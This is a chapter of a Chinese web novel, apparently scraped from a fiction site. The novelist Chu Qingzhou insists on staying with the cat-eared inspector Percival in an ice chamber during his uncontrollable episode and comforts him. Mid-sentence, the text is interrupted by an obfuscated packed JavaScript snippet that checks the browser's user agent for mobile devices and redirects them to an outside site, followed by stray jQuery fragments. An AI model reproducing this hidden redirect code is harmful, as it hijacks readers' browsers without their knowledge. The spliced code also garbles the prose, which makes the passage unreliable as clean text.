刻板印象中经典动作是“危险地眯起眼睛”的男人上下打量了一圈确认她安然无事后,在她无言的注视下难堪地别过脸,声音因长久未开口而如沙砾般粗粝暗哑:“……回去。”
“你受伤了吗?”楚轻舟充耳不闻,凑近想触碰那道长长的伤口。
能毫不费力避开定向式离子弹的监察官面对体测在及格边缘徘徊的小说家的突袭时,身体却僵硬得像是一尊底座被固定在地板上的希腊雕塑。
直到细白如葱的指尖藤蔓一样缠绕在自己的小臂上,监察官才狼狈地向后退去,在心跳如擂的慌乱中再次开口:“我没事……您回去吧。”
楚轻舟莫名眨了下眼,困惑地看向反应如此激烈的友人。
监察官背后的尾巴高高竖起,像是一条静电下炸起的毛毯,已经结痂的伤口在他剧烈的动作下也开裂,渗出的血液在接触到空气的瞬间又凝结成冰,扣在他脉络清晰的冷白手臂上,像是一串名贵的鸽子血宝石手链,诡谲又华丽。
楚轻舟投降似的举起双手,展示自己的无害,用哄楚楚洗澡的温柔语气哄炸毛的缅因友人:“你别急,伤口都裂开了,我帮你包扎完就走——好不好?”
伯希瓦尔异色的竖瞳一眨不眨地盯着眼前的生物,似乎在判断话语的真实性。
僵持了一会儿,监察官叹了口气。
楚轻舟以为这是吹响胜利的号角,没想到得到的依旧是坚定的拒绝:“这里没有绷带和药水,您不必过多担忧。很抱歉这段时间我无法招待您,您可以在威尔伯的陪伴下——”
系统也为对方一而再再而三拒绝宿主的好意而无语:【尊重他猫命运,宿主我们还是回去吧!】
被两道声音念叨的小说家想通了——
既然软的不行,只能来硬的了。
她呲溜一声,溜冰似的弯腰绕过挡在门口、油盐不进的监察官,随即灵活地跑进了他身后的巨型冰窖中。
系统:【当前温度为-147°,防护罩破损30.1%,破损增速1.45%,预计剩余时间2小时38分钟。】
小说家环顾着这间几乎可以称得上是审讯间的密室。
血迹斑斑的粗大锁链因主人粗暴的动作只剩下半截伶仃挂在墙上,地面又是血冰又是破碎的链条,幸而在足球场大小的平面中不显得杂乱,中央除了一个类似于棺材似的冰柜外再没有其他物品。
“猫也会冬眠吗?”
这句近乎耳语的喃喃让准备进门的伯希瓦尔脚步一顿,继而又置若罔闻地朝她走去。
“您——”
“你要在这待多久?”楚轻舟先声夺人,看了眼语塞的监察官,又问,“连这个问题都不愿意回答吗?”
话一出口,她才惊觉有些呛人,连忙对垂眼不语的友人轻轻说了句抱歉。
监察官摇了摇头,像个复读机一样重复道:“您离开吧。”
两人离门口就只有三四步的距离,明明一个展臂就能将这个不速之客推出房间,缅因却只是固执地站在她身旁劝说,说不清是希望她离开还是留下。
“我待不了多久,最多2个小时?不过也说不准,以我的体质可能下一秒就会昏过去。你确定还要继续浪费时间和我争论要不要离开的事吗?”
被这幕勾起一些不好回忆的楚轻舟面色不好,倒真印证了她的话。
她硬邦邦地说:“让我们开始第一个问题,你要在这儿待多久?”
监察官沉默一瞬,安静地回答:“按照以往的规律还要两天。”
“这次提前的原因找到了吗?”
鉴于他这么抗拒被自己发现的态度,如果能预料到目前的情况不可能会将自己带回他的常住地,或许会另外给她准备间安全屋?楚轻舟胡乱猜测着。
监察官:“还未确定,等之后我会去做一个详细的检查。”
有问必答的乖巧缅因很好地安抚了心中压抑着怒火的小说家,她点了点头,不容置喙地宣布:“很好!算上今天,一共三天,每天随机2小时,我会待在这里,你刚才想做什么就继续做吧。”
语毕,她就地坐下,似乎打算就这么和他大眼瞪小眼地度过今天的2小时。
“我不能……我不想伤害您。”监察官似是压抑着极深的痛苦,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438165|169299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哀郁的潮湿几乎要满溢出他的眼瞳,“在这期间我无法控制自己,会失去意识,甚至毫无征兆地攻击其他生物。”
这种说法——
“谁说被你攻击了?”她抬头,平静地问道。
他呼吸一滞,声音像是在梦呓:“我的弟弟,亚德里安。”
耳边似乎又响起了尖锐的哭嚎,被他摔下楼梯的幼弟身下溢出大片血迹,因多处骨折而动弹不得,像是一只关节被钉在地毯上的木偶,用怨毒的目光瞪着他,用能想象得到的最肮脏的语句尖叫着唾骂他。
佣人们不敢上前,躲在角落对他指指点点,窸窸窣窣的声音似是暗影处的啮齿动物爬过。
他的脸上浮现出一抹自嘲,艰涩道:“他被我推下楼梯,在医院住了整整一个礼拜……所以离开吧,楚轻舟。”
这时候明明应该强调自己的不可控性,应该将自己造成的恐怖局面一五一十地告诉她,应该让她知晓死亡的阴影已经攀上她的脖颈……但一股无名的情绪驱使他只吐露出了短短的几个字。
还抱有侥幸吗?幻想着即使之后也能一如既往地相处?别痴心妄想了……
他果然是这世上最阴险、最懦弱无用、最自私的废物。
鞋跟踩在冰上的声音响起,伯希瓦尔猛烈跳动的心脏忽地一沉,安心和苦涩双螺旋交缠成一根结实的麻绳,勒得他几近窒息。
脚步声在他面前停下。
楚轻舟双手托起他的两颊,杏眼比周身的冰雪还要剔透清澈,浓密的睫毛鸦羽似的在眼下扫出一片阴影,近乎好笑地看着消沉得几乎乌云盖顶的猫咪。
她轻声呼喊,宛若一只鼻尖顶着蝴蝶的猫,担心稍大点动静就让停驻的蝴蝶振翅飞走,连呼吸都被放到最轻:“伯希瓦尔——”
而真正的猫咪像被捏住了后颈,瞳仁晃动,不知所措地看着她。
她安静地看着慌乱到身体僵直的监察官,等到察觉到对面贴近的身体略微放松,才笑着说:“相信我吧,我保证,伯希瓦尔·卡特不会让楚轻舟受伤。”
心跳错了一拍,监察官垂下眼眸,鬼使神差地嗯了一声。